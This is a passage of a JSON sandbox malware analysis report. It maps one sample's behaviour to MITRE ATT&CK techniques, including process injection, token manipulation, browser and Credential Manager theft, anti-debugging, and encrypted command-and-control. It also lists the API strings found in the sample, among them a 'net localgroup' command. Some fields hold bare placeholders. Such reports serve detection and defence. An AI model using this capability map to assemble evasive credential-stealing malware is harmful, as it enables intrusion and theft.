Information","attack_id":"T1590","attack_id_wiki":"https://attack.mitre.org/techniques/T1590","identifiers":[{"type":"informative","value":"Able to access user sensitive domain"}],"sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Persistence","technique":"Shortcut Modification","attack_id":"T1547.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/009","identifiers":[{"type":"informative","value":"Contains ability to register hotkeys (API string)"},{"type":"informative","value":"Contains ability to register hotkeys"}],"sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Privilege Escalation","technique":"Make and Impersonate Token","attack_id":"T1134.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/003","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Contains ability to retrieve token privileges information (API string)"},{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"},{"type":"informative","value":"Contains ability to modify access token privileges (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Privilege Escalation","technique":"Thread Local Storage","attack_id":"T1055.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/005","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Defense Evasion","technique":"File and Directory Permissions Modification","attack_id":"T1222","attack_id_wiki":"https://attack.mitre.org/techniques/T1222","identifiers":[{"type":"informative","value":"Contains ability to modify file attributes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Command and Control","technique":"Mail Protocols","attack_id":"T1071.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/003","identifiers":[{"type":"informative","value":"Found mail related domain names"}],"sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Command and Control","technique":"Domain Generation Algorithms","attack_id":"T1568.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1568/002","identifiers":[{"type":"informative","value":"High entropy domain detected"}],"sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Impact","technique":"Internal Defacement","attack_id":"T1491.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1491/001","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Impact","technique":"Endpoint Denial of Service","attack_id":"T1499","attack_id_wiki":"https://attack.mitre.org/techniques/T1499","identifiers":[{"type":"informative","value":"Contains ability to lock the workstation's display (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Persistence","technique":"DLL","attack_id":"T1574.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/001","identifiers":[{"type":"informative","value":"Potential hijacking of DLL execution flow detected"}],"sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Defense Evasion","technique":"Masquerade File Type","attack_id":"T1036.008","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/008","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Privilege Escalation","technique":"Asynchronous Procedure Call","attack_id":"T1055.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/004","identifiers":[{"type":"informative","value":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)"}],"sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Defense Evasion","technique":"Compile After Delivery","attack_id":"T1027.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/004","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Defense Evasion","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Loads the CLR Loader DLL"}],"sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Credential Access","technique":"Windows Credential Manager","attack_id":"T1555.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1555/004","identifiers":[{"type":"informative","value":"Found string related to Windows Vault/Credentials location"}],"sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Credential Access","technique":"Credential API Hooking","attack_id":"T1056.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/004","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Credential Access","technique":"Credentials from Web Browsers","attack_id":"T1555.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1555/003","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Credential Access","technique":"Steal Web Session Cookie","attack_id":"T1539","attack_id_wiki":"https://attack.mitre.org/techniques/T1539","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Credential Access","technique":"Credentials in Registry","attack_id":"T1552.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1552/002","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Discovery","technique":"Browser Information Discovery","attack_id":"T1217","attack_id_wiki":"https://attack.mitre.org/techniques/T1217","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Collection","technique":"Local Email Collection","attack_id":"T1114.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1114/001","identifiers":[{"type":"informative","value":"Contains reference to Outlook data files path"},{"type":"informative","value":"Attempts to read Outlook-related files (file access)"}],"sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Impact","technique":"Account Access Removal","attack_id":"T1531","attack_id_wiki":"https://attack.mitre.org/techniques/T1531","identifiers":[{"type":"informative","value":"Contains ability to delete a user account from a server (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to inject code into another process (API string)","description":"Found reference to API \"VirtualAlloc\" (Indicator: \"VirtualAlloc\"; File: \"bounty-38813904328784694\")\n Found reference to API \"CreateThreadpoolWork\" (Indicator: \"CreateThread\"; File: \"bounty-38813904328784694\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"bounty-38813904328784694\")\n Found reference to API \"WriteProcessMemory\" (Indicator: \"WriteProcessMemory\"; File: \"bounty-38813904328784694\")\n Found reference to API \"VirtualFree\" (Indicator: \"VirtualFree\"; File: \"bounty-38813904328784694\")\n Found reference to API \"VirtualAllocEx\" (Indicator: \"VirtualAlloc\"; File: \"bounty-38813904328784694\")\n Found reference to API \"VirtualAllocEx\" (Indicator: \"VirtualAllocEx\"; File: \"bounty-38813904328784694\")\n Found reference to API \"CreateThreadpoolTimer\" (Indicator: \"CreateThread\"; File: \"bounty-38813904328784694\")\n Found reference to API \"CreateThreadpoolWait\" (Indicator: \"CreateThread\"; File: \"bounty-38813904328784694\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"$25","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to impersonate access tokens (API string)","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; File: \"bounty-38813904328784694\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-306","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"FreeLibraryWhenCallbackReturns\" (Indicator: \"FreeLibrary\"; File: \"bounty-38813904328784694\")\n Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; File: \"bounty-38813904328784694\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; File: \"bounty-38813904328784694\")\n Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; Source: \"00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify process memory (API string)","description":"Found reference to API \"VirtualAllocEx\" (Indicator: \"VirtualAllocEx\"; File: \"bounty-38813904328784694\")","origin":"File/Memory","mitre_attack_id":"T1055.003","relevance":1,"id":"string-439","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify registry key/value (API string)","description":"Found reference to API \"RegSetValueExA\" (Indicator: \"RegSetValue\"; File: \"bounty-38813904328784694\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-304","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to pass information to a window procedure (API string)","description":"Found reference to API \"\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00005828.00000000.285851.00F10000.00000004.mdmp, 00000000-00005828.00000001.286435.00F10000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-320","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to perform Base64 encoding/decoding","description":"Found string \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\" (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\"; File: \"bounty-38813904328784694\")\n Found string \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\" (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"; File: \"bounty-38813904328784694\")","origin":"File/Memory","mitre_attack_id":"T1132","relevance":1,"id":"string-338","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to unmap view of a section from a process (API string)","description":"Found reference to API \"NtUnmapViewOfSection\" (Indicator: \"UnmapViewOfSection\"; File: \"bounty-38813904328784694\")","origin":"File/Memory","mitre_attack_id":"T1055.012","relevance":1,"id":"string-90","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00006500.00000000.285997.0B351000.00000004.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Spawns Windows crash diagnostic and reporting process","description":"Process \"WerFault.exe\" [UID: 00000000-00008092]\n Process \"WerFault.exe\" [UID: 00000000-00003844]\n Process \"WerFault.exe\" [UID: 00000000-00004916]","origin":"Monitored Target","mitre_attack_id":"T1564","relevance":1,"id":"target-585","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"bounty-38813904328784694\")\n Found reference to API \"IsDebuggerPresent\" (Indicator: \"IsDebuggerPresent\"; File: \"bounty-38813904328784694\")\n Found reference to API \"GetTickCount64\" (Indicator: \"GetTickCount\"; File: \"bounty-38813904328784694\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"bounty-38813904328784694\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-183","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (API string)","description":"Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"SetUnhandledExceptionFilter\"; File: \"bounty-38813904328784694\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"bounty-38813904328784694\")\n Found reference to API \"UnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"bounty-38813904328784694\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-148","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)","description":"SetUnhandledExceptionFilter@KERNEL32.dll at 45662-2921-00429118","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1622","relevance":1,"id":"stream-4","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains XOR operation loops [Stream disassembly]","description":"$26","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1027.005","id":"stream-139","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$27","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: Contains ability to perform Base64 encoding/decoding\n Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: YARA signature match - RC4 Encryption","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings\n Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: Contains ability to perform Base64 encoding/decoding\n Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: Dropped file has high entropy (likely encrypted/compressed content)\n Matched sigs: YARA signature match - RC4 Encryption","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: YARA signature match - RC4 Encryption","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Cryptographic Related","name":"XOR operations in executable file detected","description":"$28","origin":"Binary File","mitre_attack_id":"T1027.005","id":"binary-92","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate system processes using native API","description":"Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00005828-00000C2B-3468024720\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-907","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00005828-00000C2B-3468024720\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"Found string \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; File: \"bounty-38813904328784694\")\n Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"bounty-38813904328784694\")\n Found string \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp\")\n Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-661","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query system locale information (API string)","description":"$29","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve date formats supported by the local system (API string)","description":"Found reference to API \"GetDateFormatEx\" (Indicator: \"GetDateFormat\"; File: \"bounty-38813904328784694\")\n Found reference to API \"GetTimeFormatEx\" (Indicator: \"GetTimeFormat\"; File: \"bounty-38813904328784694\")\n Found reference to API \"GetDateFormatEx\" (Indicator: \"GetDateFormat\"; Source: \"00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp\")\n Found reference to API \"GetTimeFormatEx\" (Indicator: \"GetTimeFormat\"; Source: \"00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-901","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve geographical location information","description":"Found reference to API \"getaddrinfo\" (Indicator: \"getaddrinfo\"; File: \"bounty-38813904328784694\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-739","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"Found system information discovery API: \"GetEnvironmentStringsW\" in file \"bounty-38813904328784694\"\n Found system information discovery API: \"GetSystemInfo\" in file \"bounty-38813904328784694\"\n Found system information discovery API: \"GetEnvironmentStringsW\" in \"00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve local groups information","description":"Found string \"net localgroup \"Administrators\" \"\" (Indicator: \"net localgroup\"; File: \"bounty-38813904328784694\")","origin":"File/Memory","mitre_attack_id":"T1069.001","relevance":1,"id":"string-526","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"Found reference to API \"\" (Indicator: \"enumchildwindows\"; Source: \"00000000-00005828.00000000.285851.00F10000.00000004.mdmp, 00000000-00005828.00000001.286435.00F10000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"adc663ab13.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00006500)","origin":"API 